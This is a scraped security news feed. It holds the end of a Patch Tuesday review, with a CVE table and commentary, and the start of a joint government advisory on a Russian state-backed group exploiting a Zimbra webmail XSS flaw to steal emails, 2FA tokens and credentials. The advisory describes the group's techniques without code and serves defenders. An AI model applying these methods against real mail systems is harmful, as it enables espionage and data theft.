CVE-2026-26182 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27922 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33099 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33100 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32088 Windows Biometric Service Security Feature Bypass Vulnerability Important 6.1 No No SFB
CVE-2026-27913 Windows BitLocker Security Feature Bypass Vulnerability Important 7.7 No No SFB
CVE-2026-26175 Windows Boot Manager Security Feature Bypass Vulnerability Important 4.6 No No SFB
CVE-2026-32162 Windows COM Elevation of Privilege Vulnerability Important 8.4 No No EoP
CVE-2026-20806 Windows COM Server Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26176 Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27926 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32070 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33098 Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26153 Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32087 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32093 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32086 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32150 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27931 Windows GDI Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-27930 Windows GDI Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32221 Windows Graphics Component Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-27906 Windows Hello Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-27928 Windows Hello Security Feature Bypass Vulnerability Important 8.7 No No SFB
CVE-2026-26156 Windows Hyper-V Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32149 Windows Hyper-V Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-27910 Windows Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27912 Windows Kerberos Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-26179 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26180 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32195 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26163 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32215 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32217 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-32218 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-26169 Windows Kernel Memory Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-27929 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32071 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-20930 Windows Management Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26162 Windows OLE Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33101 Windows Print Spooler Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32084 Windows Print Spooler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-27927 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26184 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32069 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32074 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32078 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26167 Windows Push Notifications Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-32158 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32159 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32160 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26172 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-20928 Windows Recovery Environment Security Feature Bypass Vulnerability Important 4.6 No No SFB
CVE-2026-32216 Windows Redirected Drive Buffering System Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-27909 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26161 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-26174 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32224 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26154 Windows Server Update Service (WSUS) Tampering Vulnerability Important 7.5 No No Tampering
CVE-2026-26165 Windows Shell Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-26166 Windows Shell Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27918 Windows Shell Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32151 Windows Shell Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-32225 Windows Shell Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-32202 Windows Shell Spoofing Vulnerability Important 4.3 No No Spoofing
CVE-2026-32082 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32083 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32068 Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32183 Windows Snipping Tool Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-32089 Windows Speech Brokered Api Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32090 Windows Speech Brokered Api Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32153 Windows Speech Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27907 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32076 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27908 Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27921 Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27915 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27919 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32075 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-27916 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27920 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32077 Windows UPnP Device Host Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27925 Windows UPnP Device Host Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-32156 Windows UPnP Device Host Remote Code Execution Vulnerability Important 7.4 No No RCE
CVE-2026-32223 Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-32165 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-27911 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32163 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32164 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-23670 Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability Important 5.7 No No SFB
CVE-2026-27917 Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32080 Windows WalletService Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-32222 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21637 * HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers Moderate 7.5 No No SFB
CVE-2026-33119 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 5.4 No No Spoofing
CVE-2026-33829 Windows Snipping Tool Spoofing Vulnerability Moderate 4.3 No No Spoofing
CVE-2026-5858 * Chromium: CVE-2026-5858 Heap buffer overflow in WebML Critical N/A No No RCE
CVE-2026-5859 * Chromium: CVE-2026-5859 Integer overflow in WebML Critical N/A No No RCE
CVE-2026-5272 * Chromium: CVE-2026-5272 Heap buffer overflow in GPU High N/A No No RCE
CVE-2026-5273 * Chromium: CVE-2026-5273 Use after free in CSS High N/A No No RCE
CVE-2026-5274 * Chromium: CVE-2026-5274 Integer overflow in Codecs High N/A No No RCE
CVE-2026-5275 * Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE High N/A No No RCE
CVE-2026-5276 * Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB High N/A No No SFB
CVE-2026-5277 * Chromium: CVE-2026-5277 Integer overflow in ANGLE High N/A No No RCE
CVE-2026-5279 * Chromium: CVE-2026-5279 Object corruption in V8 High N/A No No RCE
CVE-2026-5280 * Chromium: CVE-2026-5280 Use after free in WebCodecs High N/A No No RCE
CVE-2026-5283 * Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE High N/A No No SFB
CVE-2026-5284 * Chromium: CVE-2026-5284 Use after free in Dawn High N/A No No RCE
CVE-2026-5285 * Chromium: CVE-2026-5285 Use after free in WebGL High N/A No No RCE
CVE-2026-5286 * Chromium: CVE-2026-5286 Use after free in Dawn High N/A No No RCE
CVE-2026-5287 * Chromium: CVE-2026-5287 Use after free in PDF High N/A No No RCE
CVE-2026-5289 * Chromium: CVE-2026-5289 Use after free in Navigation High N/A No No RCE
CVE-2026-5290 * Chromium: CVE-2026-5290 Use after free in Compositing High N/A No No RCE
CVE-2026-5860 * Chromium: CVE-2026-5860 Use after free in WebRTC High N/A No No RCE
CVE-2026-5861 * Chromium: CVE-2026-5861 Use after free in V8 High N/A No No RCE
CVE-2026-5862 * Chromium: CVE-2026-5862 Inappropriate implementation in V8 High N/A No No SFB
CVE-2026-5863 * Chromium: CVE-2026-5863 Inappropriate implementation in V8 High N/A No No SFB
CVE-2026-5864 * Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio High N/A No No RCE
CVE-2026-5865 * Chromium: CVE-2026-5865 Type Confusion in V8 High N/A No No RCE
CVE-2026-5866 * Chromium: CVE-2026-5866 Use after free in Media High N/A No No RCE
CVE-2026-5867 * Chromium: CVE-2026-5867 Heap buffer overflow in WebML High N/A No No RCE
CVE-2026-5868 * Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE High N/A No No RCE
CVE-2026-5869 * Chromium: CVE-2026-5869 Heap buffer overflow in WebML High N/A No No RCE
CVE-2026-5870 * Chromium: CVE-2026-5870 Integer overflow in Skia High N/A No No RCE
CVE-2026-5871 * Chromium: CVE-2026-5871 Type Confusion in V8 High N/A No No RCE
CVE-2026-5872 * Chromium: CVE-2026-5872 Use after free in Blink High N/A No No RCE
CVE-2026-5873 * Chromium: CVE-2026-5873 Out of bounds read and write in V8 High N/A No No RCE
CVE-2026-5291 * Chromium: CVE-2026-5291 Inappropriate implementation in WebGL Medium N/A No No SFB
CVE-2026-5292 * Chromium: CVE-2026-5292 Out of bounds read in WebCodecs Medium N/A No No Info
CVE-2026-5874 * Chromium: CVE-2026-5874 Use after free in PrivateAI Medium N/A No No RCE
CVE-2026-5875 * Chromium: CVE-2026-5875 Policy bypass in Blink Medium N/A No No SFB
CVE-2026-5876 * Chromium: CVE-2026-5876 Side-channel information leakage in Navigation Medium N/A No No Info
CVE-2026-5877 * Chromium: CVE-2026-5877 Use after free in Navigation Medium N/A No No RCE
CVE-2026-5878 * Chromium: CVE-2026-5878 Incorrect security UI in Blink Medium N/A No No Spoofing
CVE-2026-5879 * Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE Medium N/A No No SFB
CVE-2026-5880 * Chromium: CVE-2026-5880 Incorrect security UI in browser UI Medium N/A No No Spoofing
CVE-2026-5881 * Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess Medium N/A No No SFB
CVE-2026-5882 * Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen Medium N/A No No Spoofing
CVE-2026-5883 * Chromium: CVE-2026-5883 Use after free in Media Medium N/A No No RCE
CVE-2026-5884 * Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media Medium N/A No No SFB
CVE-2026-5885 * Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML Medium N/A No No SFB
CVE-2026-5886 * Chromium: CVE-2026-5886 Out of bounds read in WebAudio Medium N/A No No Info
CVE-2026-5887 * Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads Medium N/A No No SFB
CVE-2026-5888 * Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs Medium N/A No No RCE
CVE-2026-5889 * Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium Medium N/A No No SFB
CVE-2026-5890 * Chromium: CVE-2026-5890 Race in WebCodecs Medium N/A No No RCE
CVE-2026-5891 * Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI Medium N/A No No SFB
CVE-2026-5892 * Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs Medium N/A No No SFB
CVE-2026-5893 * Chromium: CVE-2026-5893 Race in V8 Medium N/A No No RCE
CVE-2026-5894 * Chromium: CVE-2026-5894 Inappropriate implementation in PDF Low N/A No No SFB
CVE-2026-5895 * Chromium: CVE-2026-5895 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5896 * Chromium: CVE-2026-5896 Policy bypass in Audio Low N/A No No SFB
CVE-2026-5897 * Chromium: CVE-2026-5897 Incorrect security UI in Downloads Low N/A No No Spoofing
CVE-2026-5898 * Chromium: CVE-2026-5898 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5899 * Chromium: CVE-2026-5899 Incorrect security UI in History Navigation Low N/A No No Spoofing
CVE-2026-5900 * Chromium: CVE-2026-5900 Policy bypass in Downloads Low N/A No No SFB
CVE-2026-5901 * Chromium: CVE-2026-5901 Policy bypass in DevTools Low N/A No No SFB
CVE-2026-5902 * Chromium: CVE-2026-5902 Race in Media Low N/A No No RCE
CVE-2026-5903 * Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox Low N/A No No SFB
CVE-2026-5904 * Chromium: CVE-2026-5904 Use after free in V8 Low N/A No No RCE
CVE-2026-5905 * Chromium: CVE-2026-5905 Incorrect security UI in Permissions Low N/A No No Spoofing
CVE-2026-5906 * Chromium: CVE-2026-5906 Incorrect security UI in Omnibox Low N/A No No Spoofing
CVE-2026-5907 * Chromium: CVE-2026-5907 Insufficient data validation in Media Low N/A No No SFB
CVE-2026-5908 * Chromium: CVE-2026-5908 Integer overflow in Media Low N/A No No RCE
CVE-2026-5909 * Chromium: CVE-2026-5909 Integer overflow in Media Low N/A No No RCE
CVE-2026-5910 * Chromium: CVE-2026-5910 Integer overflow in Media Low N/A No No RCE
CVE-2026-5911 * Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers Low N/A No No SFB
CVE-2026-5912 * Chromium: CVE-2026-5912 Integer overflow in WebRTC Low N/A No No RCE
CVE-2026-5913 * Chromium: CVE-2026-5913 Out of bounds read in Blink Low N/A No No Info
CVE-2026-5914 * Chromium: CVE-2026-5914 Type Confusion in CSS Low N/A No No RCE
CVE-2026-5915 * Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML Low N/A No No SFB
CVE-2026-5918 * Chromium: CVE-2026-5918 Inappropriate implementation in Navigation Low N/A No No SFB
CVE-2026-5919 * Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets Low N/A No No SFB
CVE-2026-33118 Microsoft Edge (Chromium-based) Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]> https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ Sat, 25 Jul 2026 18:59:26 +0200 📰 IT Security Nachrichten tsecurity.de Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary 

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

  • United States National Security Agency (NSA)
  • United States Federal Bureau of Investigation (FBI)
  • Netherlands Defence Intelligence and Security Service (MIVD)
  • Netherlands General Intelligence and Security Service (AIVD)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Defense Counterintelligence and Security Agency (DCSA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Department of the Treasury
  • United States Naval Criminal Investigative Service (NCIS)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1
  • Danish Defence Intelligence Service (DDIS)2
  • Estonian Foreign Intelligence Service (EFIS)3
  • Finnish Defence Intelligence (FDI)4
  • Finnish Security and Intelligence Service (SUPO)5
  • French General Directorate for Internal Security (DGSI)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8
  • Italian Internal Intelligence and Security Agency (AISI)9
  • Security and Intelligence Service of the Republic of Moldova (SIS RM)10
  • Polish Foreign Intelligence Agency (AW)11
  • The Military Counterintelligence Service of Poland (SKW)12
  • Spain National Intelligence Centre (CNI)13
  • Sweden National Cyber Security Centre (NCSC-SE)14

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

  • LAUNDRY BEAR
  • Void Blizzard [2]
  • CL-STA-1114 [3]
  • TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named â€œĐŁĐ»Đ”Đč” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

  • Last 90 days of emails,
  • Email address,
  • Password [T1589.001],
  • Global Address List (GAL) [T1087],
  • Two-factor authentication (2FA) tokens, and
  • Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

  • the Defense Industrial Base (DIB),  
  • the federal and local government,
  • education,
  • energy,
  • law enforcement,  
  • media,  
  • non-governmental organizations, and
  • technology.

Technical details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FENDTM version 1.4.015. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  

Resource development

